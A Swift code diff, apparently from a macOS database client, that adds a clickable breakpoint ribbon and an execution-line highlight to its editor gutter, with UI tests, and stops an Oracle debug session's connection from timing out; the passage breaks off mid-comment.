@Invalidating(.display) + var breakpointColor: NSColor = .systemRed + + @Invalidating(.display) + var executionColor: NSColor = .systemGreen + + // NSAccessibilityElement requires its vendor to keep ownership; fresh objects per query make VoiceOver focus jump. + var publishedElements: [BreakpointElement] = [] + var publishedElementsKey: PublishedElementsKey? + + private(set) var hoveredLine: Int? { + didSet { + guard hoveredLine != oldValue else { return } + needsDisplay = true + } + } + + private var glyphCache: [GlyphKey: NSImage] = [:] + private var pressedLine: Int? + + weak var controller: TextViewController? + + override var isFlipped: Bool { + true + } + + init(controller: TextViewController) { + self.controller = controller + super.init(frame: .zero) + layerContentsRedrawPolicy = .onSetNeedsDisplay + clipsToBounds = false + } + + required init?(coder: NSCoder) { + fatalError("init(coder:) has not been implemented") + } + + // MARK: - Hover + + func pointerMoved(to point: CGPoint) { + hoveredLine = bounds.contains(point) ? line(at: point) : nil + } + + func pointerExitedGutter() { + hoveredLine = nil + } + + override func scrollWheel(with event: NSEvent) { + super.scrollWheel(with: event) + pointerMoved(to: convert(event.locationInWindow, from: nil)) + } + + // MARK: - Mouse Events + + // Fires on mouse up over the line the press started on, so dragging off takes the press back, as with a button. + override func mouseDown(with event: NSEvent) { + let point = convert(event.locationInWindow, from: nil) + guard event.type == .leftMouseDown, let line = line(at: point) else { + super.mouseDown(with: event) + return + } + pressedLine = line + } + + override func mouseDragged(with event: NSEvent) { + guard pressedLine != nil else { + super.mouseDragged(with: event) + return + } + pointerMoved(to: convert(event.locationInWindow, from: nil)) + } + + override func mouseUp(with event: NSEvent) { + guard let pressed = pressedLine else { + super.mouseUp(with: event) + return + } + pressedLine = nil + + let point = convert(event.locationInWindow, from: nil) + if bounds.contains(point), line(at: point) == pressed { + controller?.onBreakpointToggle?(pressed) + } + pointerMoved(to: point) + } + + // MARK: - Line Lookup + + func line(at point: CGPoint) -> Int? { + guard let layoutManager = controller?.textView?.layoutManager, + let line = layoutManager.textLineForPosition(point.y), + point.y >= line.yPos, point.y < line.yPos + line.height else { + return nil + } + return line.index + 1 + } + + // Nil for a line a collapsed fold hides, which the layout manager would otherwise answer with the fold's own line. + func position( + ofLine lineNumber: Int, + in layoutManager: TextLayoutManager + ) -> TextLineStorage.TextLinePosition? { + guard let line = layoutManager.textLineForIndex(lineNumber - 1), line.index == lineNumber - 1 else { + return nil + } + return line + } + + // Resolved while drawing, so the cache key is the color for the appearance AppKit made current. + func glyph(_ marker: Marker, color: NSColor) -> NSImage? { + let resolved = color.usingColorSpace(.sRGB) ?? color + let key = GlyphKey(marker: marker, color: resolved) + if let cached = glyphCache[key] { + return cached + } + + let symbolName: String + let palette: [NSColor] + switch marker { + case .breakpoint: + symbolName = "circle.fill" + palette = [resolved] + case .execution: + symbolName = "arrowshape.right.fill" + palette = [resolved] + case .breakpointAtExecution: + symbolName = "arrowtriangle.right.circle.fill" + palette = [.white, resolved] + } + + let configuration = NSImage.SymbolConfiguration(pointSize: Self.glyphPointSize, weight: .semibold) + .applying(NSImage.SymbolConfiguration(paletteColors: palette)) + let image = NSImage(systemSymbolName: symbolName, accessibilityDescription: nil)? + .withSymbolConfiguration(configuration) + + glyphCache[key] = image + return image + } +} diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift new file mode 100644 index 0000000000..8f04d5efe5 --- /dev/null +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift @@ -0,0 +1,38 @@ +// +// TextViewController+Breakpoints.swift +// TableProEditorKit +// + +import AppKit + +extension TextViewController { + func breakpointLinesDidChange() { + gutterView?.breakpointRibbon.needsDisplay = true + } + + func executionLineDidChange() { + (textView as? SourceEditorTextView)?.executionLine = executionLine + if let ribbon = gutterView?.breakpointRibbon { + ribbon.needsDisplay = true + NSAccessibility.post(element: ribbon, notification: .valueChanged) + } + executionLineNeedsReveal = executionLine != nil + revealExecutionLineIfNeeded() + } + + // Before the view has a size or the source has arrived it stays pending; `viewDidAppear` and `setText` retry. + func revealExecutionLineIfNeeded() { + guard executionLineNeedsReveal, + let executionLine, + let textView, + isViewLoaded, scrollView != nil, view.window != nil, + let line = textView.layoutManager.lineStorage.getLine(atIndex: executionLine - 1) else { + return + } + executionLineNeedsReveal = false + revealFold(containing: line.range.location) + // A just-replaced document has not grown the view to its height yet, which would clamp the scroll. + textView.updateFrameIfNeeded() + textView.scrollToRange(NSRange(location: line.range.location, length: 0), center: true) + } +} diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift index 564db216ca..5005b1f278 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift @@ -18,6 +18,7 @@ extension TextViewController { override public func viewDidAppear() { super.viewDidAppear() + revealExecutionLineIfNeeded() textCoordinators.forEach { $0.val?.controllerDidAppear(controller: self) } } @@ -187,6 +188,7 @@ extension TextViewController { gutterView?.needsDisplay = true gutterView?.foldingRibbon.needsDisplay = true gutterView?.statementRunRibbon.needsDisplay = true + gutterView?.breakpointRibbon.needsDisplay = true } func setUpOberservers() { diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift index 0af0e1bf2a..9944635022 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift @@ -89,6 +89,22 @@ public class TextViewController: NSViewController { /// strong reference to the delegate is kept *outside* of this variable. public weak var completionDelegate: CodeSuggestionDelegate? + public var breakpointLines: Set = [] { + didSet { + guard breakpointLines != oldValue else { return } + breakpointLinesDidChange() + } + } + + public var executionLine: Int? { + didSet { + guard executionLine != oldValue else { return } + executionLineDidChange() + } + } + + public var onBreakpointToggle: ((Int) -> Void)? + // MARK: - Config Helpers /// The font to use in the `textView` @@ -180,6 +196,8 @@ public class TextViewController: NSViewController { var snippetChoicePresenter: SnippetChoicePresenter = SnippetChoiceMenu.present var snippetChoiceGeneration = 0 + var executionLineNeedsReveal = false + /// The width of the view floating along the editor's leading edge: the gutter. /// ``SourceEditorScrollView`` reserves it so the text scrolls clear of it. var floatingSubviewInsets: HorizontalEdgeInsets { @@ -274,6 +292,7 @@ public class TextViewController: NSViewController { for coordinator in textCoordinators.values() { coordinator.textViewDidReplaceDocument(controller: self) } + revealExecutionLineIfNeeded() // Deferred because the binding replaces the document from inside a SwiftUI update, where the find panel's // model must not publish. DispatchQueue.main.async { [weak findViewController] in diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift index d32d6a20bb..9157c23761 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift @@ -109,15 +109,22 @@ public class GutterView: NSView { } } - /// Toggle the visibility of the per-statement run controls. - /// - /// The column they sit in is reserved for as long as this is on, whether or not the pointer is revealing a - /// control, so a document never shifts sideways under the reader. + // The column is reserved while this is on, revealed or not, so the document never shifts under the reader. @Invalidating(.display) public var showStatementRunControls: Bool = false { didSet { statementRunRibbon.isHidden = !showStatementRunControls updateWidthIfNeeded() + layoutRibbons() + } + } + + @Invalidating(.display) + public var showBreakpoints: Bool = false { + didSet { + breakpointRibbon.isHidden = !showBreakpoints + updateWidthIfNeeded() + layoutRibbons() } } @@ -170,14 +177,23 @@ public class GutterView: NSView { statementRunRibbon.isHidden ? 0 : StatementRunRibbonView.width + statementRunRibbonPadding } - /// Where the line numbers start. - /// - /// The run controls live in the margin the gutter already keeps from the window edge rather than being charged - /// for a column of their own, which is where Xcode puts its gutter controls too. The margin only grows when the - /// controls need more room than it already had. + var breakpointRibbon: BreakpointRibbonView + + @Invalidating(.display) + var breakpointRibbonPadding: CGFloat = 4 + + var breakpointRibbonWidth: CGFloat { + breakpointRibbon.isHidden ? 0 : BreakpointRibbonView.width + breakpointRibbonPadding + } + + private var leadingControlsWidth: CGFloat { + breakpointRibbonWidth + statementRunRibbonWidth + } + + // The leading controls share the window-edge margin, as Xcode's do; it grows only when they need more. private var lineNumberLeading: CGFloat { - guard showLineNumbers else { return statementRunRibbonWidth } - return max(edgeInsets.leading, statementRunRibbonWidth) + guard showLineNumbers else { return leadingControlsWidth } + return max(edgeInsets.leading, leadingControlsWidth) } /// The leading inset only exists to keep line numbers off the edge, so a gutter without them drops it rather @@ -204,28 +220,39 @@ public class GutterView: NSView { true } - /// We override this variable so we can update the two ribbons' frames to match the gutter. override public var frame: NSRect { get { super.frame } set { super.frame = newValue - foldingRibbon.frame = NSRect( - x: newValue.width - edgeInsets.trailing - foldingRibbonWidth + foldingRibbonPadding, - y: 0.0, - width: foldingRibbonWidth, - height: newValue.height - ) - statementRunRibbon.frame = NSRect( - x: 0.0, - y: 0.0, - width: max(0, statementRunRibbonWidth - statementRunRibbonPadding), - height: newValue.height - ) + layoutRibbons() } } + // Also called when a ribbon shows or hides, since that can leave the gutter's width, and so its frame, unchanged. + private func layoutRibbons() { + let size = frame.size + foldingRibbon.frame = NSRect( + x: size.width - edgeInsets.trailing - foldingRibbonWidth + foldingRibbonPadding, + y: 0.0, + width: foldingRibbonWidth, + height: size.height + ) + breakpointRibbon.frame = NSRect( + x: 0.0, + y: 0.0, + width: max(0, breakpointRibbonWidth - breakpointRibbonPadding), + height: size.height + ) + statementRunRibbon.frame = NSRect( + x: breakpointRibbonWidth, + y: 0.0, + width: max(0, statementRunRibbonWidth - statementRunRibbonPadding), + height: size.height + ) + } + public convenience init( configuration: borrowing SourceEditorConfiguration, controller: TextViewController, @@ -255,6 +282,7 @@ public class GutterView: NSView { foldingRibbon = LineFoldRibbonView(controller: controller) statementRunRibbon = StatementRunRibbonView(controller: controller) + breakpointRibbon = BreakpointRibbonView(controller: controller) super.init(frame: .zero) clipsToBounds = true @@ -264,8 +292,10 @@ public class GutterView: NSView { layer?.masksToBounds = true statementRunRibbon.isHidden = !showStatementRunControls + breakpointRibbon.isHidden = !showBreakpoints addSubview(foldingRibbon) addSubview(statementRunRibbon) + addSubview(breakpointRibbon) // A block observer is only removed through its token, and only this editor's selection moves its line band. selectionObserver = NotificationCenter.default.addObserver( @@ -287,9 +317,12 @@ public class GutterView: NSView { textView?.menu(for: event) } - /// A positional accessibility lookup lands on the gutter for the same reason a right-click does, so it answers for - /// the controls its ribbons draw rather than letting the search fall through to the text view underneath. + // A positional lookup lands on the gutter, not the ribbons, for the same reason a right-click does. override public func accessibilityHitTest(_ point: NSPoint) -> Any? { + if !breakpointRibbon.isHidden, + let hit = breakpointRibbon.accessibilityElement(atScreenPoint: point) { + return hit + } if !statementRunRibbon.isHidden, let hit = statementRunRibbon.accessibilityElement(atScreenPoint: point) { return hit @@ -335,6 +368,7 @@ public class GutterView: NSView { override public func mouseExited(with event: NSEvent) { foldingRibbon.pointerExitedGutter() statementRunRibbon.pointerExitedGutter() + breakpointRibbon.pointerExitedGutter() } private func forwardPointer(_ event: NSEvent) { @@ -344,6 +378,9 @@ public class GutterView: NSView { if !statementRunRibbon.isHidden { statementRunRibbon.pointerMoved(to: statementRunRibbon.convert(event.locationInWindow, from: nil)) } + if !breakpointRibbon.isHidden { + breakpointRibbon.pointerMoved(to: breakpointRibbon.convert(event.locationInWindow, from: nil)) + } } /// Updates the width of the gutter if needed to match the maximum line number found as well as the folding ribbon. diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift index 3b01170b37..b359516461 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift @@ -46,6 +46,8 @@ public extension SourceEditorConfiguration { public var showSpecialCharacters: Bool + public var showBreakpoints: Bool = false + public init( showGutter: Bool = true, showLineNumbers: Bool = true, @@ -55,7 +57,8 @@ public extension SourceEditorConfiguration { foldingSizeLimit: Int = EditorHighlighting.maxHighlightableCharacters, invisibleCharactersConfiguration: InvisibleCharactersConfiguration = .empty, warningCharacters: Set = [], - showSpecialCharacters: Bool = false + showSpecialCharacters: Bool = false, + showBreakpoints: Bool = false ) { self.showGutter = showGutter self.showLineNumbers = showLineNumbers @@ -66,6 +69,7 @@ public extension SourceEditorConfiguration { self.invisibleCharactersConfiguration = invisibleCharactersConfiguration self.warningCharacters = warningCharacters self.showSpecialCharacters = showSpecialCharacters + self.showBreakpoints = showBreakpoints } @MainActor @@ -91,6 +95,11 @@ public extension SourceEditorConfiguration { shouldUpdateInsets = true } + if oldConfig?.showBreakpoints != showBreakpoints { + controller.gutterView.showBreakpoints = showBreakpoints + shouldUpdateInsets = true + } + if oldConfig?.gutterFitsContent != gutterFitsContent { controller.gutterView.fitsContent = gutterFitsContent } diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift index 9b2f1fa8b1..3d1549cdfd 100644 --- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift +++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SupportingViews/SourceEditorTextView.swift @@ -37,6 +37,16 @@ final class SourceEditorTextView: TextView { /// view, the trigger editor, the SQL preview and the AI chat code blocks all use this class. var statementBoundaryProvider: ((_ offset: Int, _ forward: Bool) -> Int?)? + var executionLine: Int? { + didSet { + guard executionLine != oldValue else { return } + needsDisplay = true + } + } + + // Xcode's green for a stopped line, translucent so the text keeps its theme color on any background. + let executionLineColor = NSColor.systemGreen.withDynamicAlpha(0.22) + /// Painted by the text view itself, the way `NSTextView.drawsBackground` does. Left to the enclosing scroll view, /// a semantic color such as `textBackgroundColor` is drawn as the window's background inside a window with a /// toolbar, so the text area no longer matched the gutter in Dark. @@ -54,6 +64,8 @@ final class SourceEditorTextView: TextView { } drawStatementHighlight(in: dirtyRect) super.draw(dirtyRect) + // After `super`, so the caret line's opaque fill cannot hide it; the text is drawn by subviews above both. + drawExecutionLine(in: dirtyRect) } /// `Option+Shift+Up`, per AppKit's own standard key bindings. @@ -118,4 +130,21 @@ final class SourceEditorTextView: TextView { } context.restoreGState() } + + private func drawExecutionLine(in dirtyRect: NSRect) { + guard let executionLine, + let line = layoutManager.textLineForIndex(executionLine - 1), + line.index == executionLine - 1, + let context = NSGraphicsContext.current?.cgContext else { + return + } + + let band = CGRect(x: 0, y: line.yPos, width: bounds.width, height: line.height).pixelAligned + guard band.intersects(dirtyRect) else { return } + + context.saveGState() + context.setFillColor(executionLineColor.safeCGColor) + context.fill(band.intersection(dirtyRect)) + context.restoreGState() + } } diff --git a/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift new file mode 100644 index 0000000000..31b01e1dea --- /dev/null +++ b/apple/Packages/TableProEditor/Tests/TableProEditorKitTests/BreakpointRibbonTests.swift @@ -0,0 +1,371 @@ +// +// BreakpointRibbonTests.swift +// TableProEditorKitTests +// + +import AppKit +@testable import TableProEditorKit +import TableProTextEngine +import Testing + +@MainActor +struct BreakpointRibbonTests { + @MainActor + private final class Harness { + let window: NSWindow + let controller: TextViewController + private(set) var toggled: [Int] = [] + + init(lineCount: Int = 20, windowHeight: CGFloat = 800, setUp: (TextViewController) -> Void = { _ in }) { + let text = (1...lineCount).map { "SELECT \($0) FROM orders;" }.joined(separator: "\n") + controller = TextViewController( + string: text, + language: .default, + configuration: SourceEditorConfiguration( + appearance: .init( + theme: Mock.theme(), + font: .monospacedSystemFont(ofSize: 12, weight: .regular), + wrapLines: false + ), + behavior: .init(isEditable: false), + peripherals: .init(showFoldingRibbon: false, showBreakpoints: true) + ), + cursorPositions: [], + highlightProviders: [] + ) + setUp(controller) + + window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 800, height: windowHeight), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + window.contentView = controller.view + controller.view.layoutSubtreeIfNeeded() + controller.textView.updateFrameIfNeeded() + controller.textView.layoutManager.layoutLines() + controller.gutterView.updateWidthIfNeeded() + controller.viewDidAppear() + + controller.onBreakpointToggle = { [weak self] line in + self?.toggled.append(line) + } + } + + var ribbon: BreakpointRibbonView { + controller.gutterView.breakpointRibbon + } + + func line(_ number: Int) throws -> TextLineStorage.TextLinePosition { + try #require(controller.textView.layoutManager.textLineForIndex(number - 1)) + } + + func windowPoint(onLine number: Int) throws -> NSPoint { + let line = try line(number) + return ribbon.convert(NSPoint(x: ribbon.bounds.midX, y: line.yPos + line.height / 2), to: nil) + } + + func mouse(_ type: NSEvent.EventType, at point: NSPoint) throws -> NSEvent { + try #require(NSEvent.mouseEvent( + with: type, + location: point, + modifierFlags: [], + timestamp: 0, + windowNumber: window.windowNumber, + context: nil, + eventNumber: 0, + clickCount: 1, + pressure: 1 + )) + } + + // Delivered to whatever the window hit-tests at the point, so a click that never reaches the ribbon fails. + func click(downOnLine down: Int, upOnLine up: Int? = nil, upAcross offset: CGFloat = 0) throws { + let downPoint = try windowPoint(onLine: down) + var upPoint = try windowPoint(onLine: up ?? down) + upPoint.x += offset + let target = try #require(window.contentView?.hitTest(downPoint)) + target.mouseDown(with: try mouse(.leftMouseDown, at: downPoint)) + target.mouseUp(with: try mouse(.leftMouseUp, at: upPoint)) + } + + func breakpointElements() -> [BreakpointElement] { + (ribbon.accessibilityChildren() as? [BreakpointElement]) ?? [] + } + + func ribbonColor(onLine number: Int) throws -> NSColor? { + let line = try line(number) + let rect = NSRect(x: 0, y: line.yPos, width: ribbon.bounds.width, height: line.height) + let rep = try #require(ribbon.bitmapImageRepForCachingDisplay(in: rect)) + ribbon.cacheDisplay(in: rect, to: rep) + return rep.colorAt(x: rep.pixelsWide / 2, y: rep.pixelsHigh / 2)?.usingColorSpace(.sRGB) + } + } + + private static func isRed(_ color: NSColor?) -> Bool { + guard let color, color.alphaComponent > 0.5 else { return false } + return color.redComponent > 0.7 && color.greenComponent < 0.5 && color.blueComponent < 0.5 + } + + private static func isGreen(_ color: NSColor?) -> Bool { + guard let color, color.alphaComponent > 0.5 else { return false } + return color.greenComponent > 0.6 && color.redComponent < 0.5 && color.blueComponent < 0.6 + } + + // MARK: - Clicks + + @Test("A click on a line without a breakpoint asks the host to add one there, in a read-only editor") + func clickOnEmptyLineAsksToAdd() throws { + let harness = Harness() + try #require(!harness.controller.isEditable) + #expect(harness.window.contentView?.hitTest(try harness.windowPoint(onLine: 3)) === harness.ribbon) + + try harness.click(downOnLine: 3) + + #expect(harness.toggled == [3]) + #expect(harness.controller.breakpointLines.isEmpty, "the editor leaves the set to the host") + } + + @Test("A click on a breakpoint asks the host to remove it") + func clickOnMarkerAsksToRemove() throws { + let harness = Harness() + harness.controller.breakpointLines = [7] + + try harness.click(downOnLine: 7) + + #expect(harness.toggled == [7]) + #expect(harness.controller.breakpointLines == [7]) + } + + @Test("Dragging off the line before releasing takes the click back") + func dragOffCancels() throws { + let harness = Harness() + + try harness.click(downOnLine: 3, upOnLine: 5) + + #expect(harness.toggled.isEmpty) + } + + @Test("Dragging sideways into the source before releasing takes the click back") + func dragIntoTheSourceCancels() throws { + let harness = Harness() + + try harness.click(downOnLine: 3, upAcross: harness.ribbon.bounds.width + 40) + + #expect(harness.toggled.isEmpty) + } + + // MARK: - Drawing and accessibility + + @Test("Each breakpoint is drawn and published as one accessibility element") + func eachBreakpointIsDrawnAndPublished() throws { + let harness = Harness() + harness.controller.breakpointLines = [2, 5] + + #expect(Self.isRed(try harness.ribbonColor(onLine: 2))) + #expect(Self.isRed(try harness.ribbonColor(onLine: 5))) + #expect(!Self.isRed(try harness.ribbonColor(onLine: 3))) + + let elements = harness.breakpointElements() + #expect(elements.map { $0.line } == [2, 5]) + #expect(elements.map { $0.accessibilityLabel() } == ["Breakpoint, line 2", "Breakpoint, line 5"]) + #expect(elements.allSatisfy { $0.accessibilityRole() == .button }) + + let line5 = try harness.line(5) + let frame = try #require(elements.last?.accessibilityFrame()) + let expected = harness.window.convertToScreen(harness.ribbon.convert( + NSRect(x: 0, y: line5.yPos, width: harness.ribbon.bounds.width, height: line5.height), + to: nil + )) + #expect(frame == expected) + } + + @Test("Pressing a breakpoint's element asks the host to remove it") + func pressingElementAsksToRemove() throws { + let harness = Harness() + harness.controller.breakpointLines = [2, 5] + + let element = try #require(harness.breakpointElements().last) + #expect(element.accessibilityPerformPress()) + + #expect(harness.toggled == [5]) + } + + @Test("Removing a breakpoint drops its element") + func removingBreakpointDropsElement() { + let harness = Harness() + harness.controller.breakpointLines = [2, 5] + #expect(harness.breakpointElements().count == 2) + + harness.controller.breakpointLines = [5] + + #expect(harness.breakpointElements().map { $0.line } == [5]) + } + + @Test("The ribbon groups the breakpoints and announces no execution line while none is set") + func ribbonGroup() { + let harness = Harness() + + #expect(harness.ribbon.isAccessibilityElement()) + #expect(harness.ribbon.accessibilityRole() == .group) + #expect(harness.ribbon.accessibilityLabel() == "Breakpoints") + #expect(harness.ribbon.accessibilityValue() == nil) + } + + // MARK: - Execution line + + @Test("Setting the execution line scrolls it into view, marks it and announces it") + func executionLineScrollsAndIsExposed() throws { + let harness = Harness(lineCount: 300, windowHeight: 300) + let textView = try #require(harness.controller.textView) + let start = try harness.line(250) + #expect(start.yPos > textView.visibleRect.maxY, "starts out of view") + + harness.controller.executionLine = 250 + + let line = try harness.line(250) + #expect(textView.visibleRect.contains(CGPoint(x: textView.visibleRect.midX, y: line.yPos + line.height / 2))) + #expect(harness.ribbon.accessibilityValue() as? String == "Paused at line 250") + #expect(Self.isGreen(try harness.ribbonColor(onLine: 250))) + #expect((textView as? SourceEditorTextView)?.executionLine == 250) + + harness.controller.executionLine = nil + + #expect(harness.ribbon.accessibilityValue() == nil) + #expect(!Self.isGreen(try harness.ribbonColor(onLine: 250))) + } + + @Test("The execution line is painted across the text, not on the lines beside it") + func executionLineBand() throws { + let harness = Harness(lineCount: 10) + let textView = try #require(harness.controller.textView) + + func colorAtLineEnd(_ number: Int) throws -> NSColor? { + let line = try harness.line(number) + let rect = NSRect(x: textView.bounds.maxX - 20, y: line.yPos, width: 10, height: line.height) + let rep = try #require(textView.bitmapImageRepForCachingDisplay(in: rect)) + textView.cacheDisplay(in: rect, to: rep) + return rep.colorAt(x: rep.pixelsWide / 2, y: rep.pixelsHigh / 2)?.usingColorSpace(.sRGB) + } + + let before = try #require(try colorAtLineEnd(4)) + harness.controller.executionLine = 4 + let marked = try #require(try colorAtLineEnd(4)) + let neighbour = try #require(try colorAtLineEnd(5)) + + #expect(marked != before) + #expect(marked.greenComponent > marked.redComponent && marked.greenComponent > marked.blueComponent) + #expect(neighbour == before) + } + + @Test("A line set before the editor appears is scrolled to once it does") + func executionLineSetBeforeAppearing() throws { + let harness = Harness(lineCount: 300, windowHeight: 300) { controller in + controller.executionLine = 250 + } + + let line = try harness.line(250) + let visible = harness.controller.textView.visibleRect + #expect(visible.contains(CGPoint(x: visible.midX, y: line.yPos + line.height / 2))) + #expect(!harness.controller.executionLineNeedsReveal) + } + + @Test("A line set before the source arrives is scrolled to once the text replaces the document") + func executionLineSetBeforeTheSourceArrives() throws { + let harness = Harness(lineCount: 1, windowHeight: 300) + let textView = try #require(harness.controller.textView) + + harness.controller.executionLine = 250 + #expect(harness.controller.executionLineNeedsReveal, "no line 250 to scroll to yet") + let before = textView.visibleRect + + harness.controller.setText((1...300).map { "SELECT \($0) FROM orders;" }.joined(separator: "\n")) + + let line = try harness.line(250) + let visible = textView.visibleRect + #expect(visible.minY > before.minY) + #expect(visible.contains(CGPoint(x: visible.midX, y: line.yPos + line.height / 2))) + #expect(!harness.controller.executionLineNeedsReveal) + } + + @Test("A breakpoint on the execution line keeps its own marker") + func breakpointOnExecutionLine() throws { + let harness = Harness() + harness.controller.breakpointLines = [4] + harness.controller.executionLine = 4 + + let color = try harness.ribbonColor(onLine: 4) + let edge = try harness.line(4) + let rect = NSRect(x: 0, y: edge.yPos, width: harness.ribbon.bounds.width, height: edge.height) + let rep = try #require(harness.ribbon.bitmapImageRepForCachingDisplay(in: rect)) + harness.ribbon.cacheDisplay(in: rect, to: rep) + let reds = (0.. (TextViewController, CGFloat) { + let controller = TextViewController( + string: "SELECT 1;\nSELECT 2;", + language: .default, + configuration: SourceEditorConfiguration( + appearance: .init( + theme: Mock.theme(), + font: .monospacedSystemFont(ofSize: 12, weight: .regular), + wrapLines: false + ), + peripherals: peripherals + ), + cursorPositions: [], + highlightProviders: [] + ) + controller.loadView() + controller.gutterView.updateWidthIfNeeded() + return (controller, controller.gutterView.frame.width) + } + + @Test("A gutter without the breakpoint ribbon measures as one that never had it") + func hiddenRibbonLeavesWidthUnchanged() { + let (_, plain) = gutterWidth(.init(gutterFitsContent: true)) + let (controller, hidden) = gutterWidth(.init(gutterFitsContent: true, showBreakpoints: false)) + #expect(hidden == plain) + #expect(controller.gutterView.breakpointRibbon.isHidden) + #expect(controller.gutterView.breakpointRibbonWidth == 0) + + controller.configuration.peripherals.showBreakpoints = true + let reserved = BreakpointRibbonView.width + controller.gutterView.breakpointRibbonPadding + #expect(abs(controller.gutterView.frame.width - (plain + reserved)) < 0.001) + #expect(controller.gutterView.breakpointRibbon.frame.width == BreakpointRibbonView.width) + + controller.configuration.peripherals.showBreakpoints = false + #expect(controller.gutterView.frame.width == plain) + #expect(controller.floatingSubviewInsets.left == plain) + } + + @Test("Hidden breakpoints leave the run controls where they were") + func hiddenRibbonLeavesRunControlsInPlace() { + let (_, runOnly) = gutterWidth(.init(showStatementRunControls: true)) + let (controller, withHidden) = gutterWidth(.init(showStatementRunControls: true, showBreakpoints: false)) + #expect(withHidden == runOnly) + #expect(controller.gutterView.statementRunRibbon.frame.minX == 0) + + controller.configuration.peripherals.showBreakpoints = true + #expect(controller.gutterView.breakpointRibbon.frame.minX == 0) + #expect(controller.gutterView.statementRunRibbon.frame.minX == controller.gutterView.breakpointRibbonWidth) + } + + @Test("The ribbon fits in the margin a window-edge gutter already keeps") + func ribbonFitsInWindowMargin() { + let (_, plain) = gutterWidth(.init()) + let (_, shown) = gutterWidth(.init(showBreakpoints: true)) + #expect(shown == plain) + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift index 8c60c6df99..b5a7d7b39c 100644 --- a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleCoreConnection.swift @@ -13,20 +13,20 @@ internal enum QueryGateTurn: Sendable, Equatable { case busy(for: Duration) } -/// What a health check should do with the turn it was given. +// What a health check does with its turn: probe an idle channel, call a busy one alive, or call it wedged once a +// statement has held it past the staleness limit. internal enum OraclePingDecision: Sendable, Equatable { - /// The probe owns the channel and may run, and may close it if it gets no answer. case probe - /// Somebody else is using the channel, which answers the question better than a probe could. case reportAlive - /// Nothing has moved on the channel for longer than any statement is allowed to run. case reportWedged - static func of(_ turn: QueryGateTurn, wedgedAfter: Duration) -> OraclePingDecision { + // No limit for a debug session: its statement is a routine paused at a breakpoint for as long as a person reads it. + static func of(_ turn: QueryGateTurn, wedgedAfter: Duration?) -> OraclePingDecision { switch turn { case .acquired: return .probe case .busy(let held): + guard let wedgedAfter else { return .reportAlive } return held > wedgedAfter ? .reportWedged : .reportAlive } } @@ -111,6 +111,7 @@ public final class OracleCoreConnection: @unchecked Sendable { /// Read before the first statement of each session, and again before the statement after one that can /// change them, so no result ever waits on them mid-stream. var sessionZones: OracleSessionTimeZones? + var isReservedForDebugging = false } private let state = OSAllocatedUnfairLock(initialState: LockedState()) @@ -409,43 +410,42 @@ public final class OracleCoreConnection: @unchecked Sendable { } public func applyQueryTimeout(_ seconds: Int) { - state.withLock { $0.queryTimeoutSeconds = OracleQueryTimeout.boundedSeconds(seconds) } + state.withLock { current in + guard !current.isReservedForDebugging else { return } + current.queryTimeoutSeconds = OracleQueryTimeout.boundedSeconds(seconds) + } + } + + // A debug session's statement is a routine that waits at a breakpoint for a person: no query timeout, no + // staleness limit on the health check, and no silent redial, since a new session would not be the one debugged. + public func reserveForDebugging() { + state.withLock { current in + current.isReservedForDebugging = true + current.queryTimeoutSeconds = 0 + } + } + + public var isReservedForDebugging: Bool { + state.withLock { $0.isReservedForDebugging } } public func noteSessionSchema(_ schema: String) { state.withLock { $0.sessionSchema = schema } } - /// How long a statement may hold the channel before a probe that cannot get a turn treats it - /// as wedged rather than as evidence the connection is alive. It is the app's own - /// `max(queryTimeout, 300)` staleness rule, read from the timeout the app already told the - /// driver about, so the two cannot drift. An unlimited query timeout is the user saying a - /// statement may run for as long as it runs, and the floor still catches a socket that died - /// without closing. - private var wedgedStatementSeconds: Double { - max(Double(state.withLock { $0.queryTimeoutSeconds }), 300) + // The app's own `max(queryTimeout, 300)` staleness rule, read from the timeout it 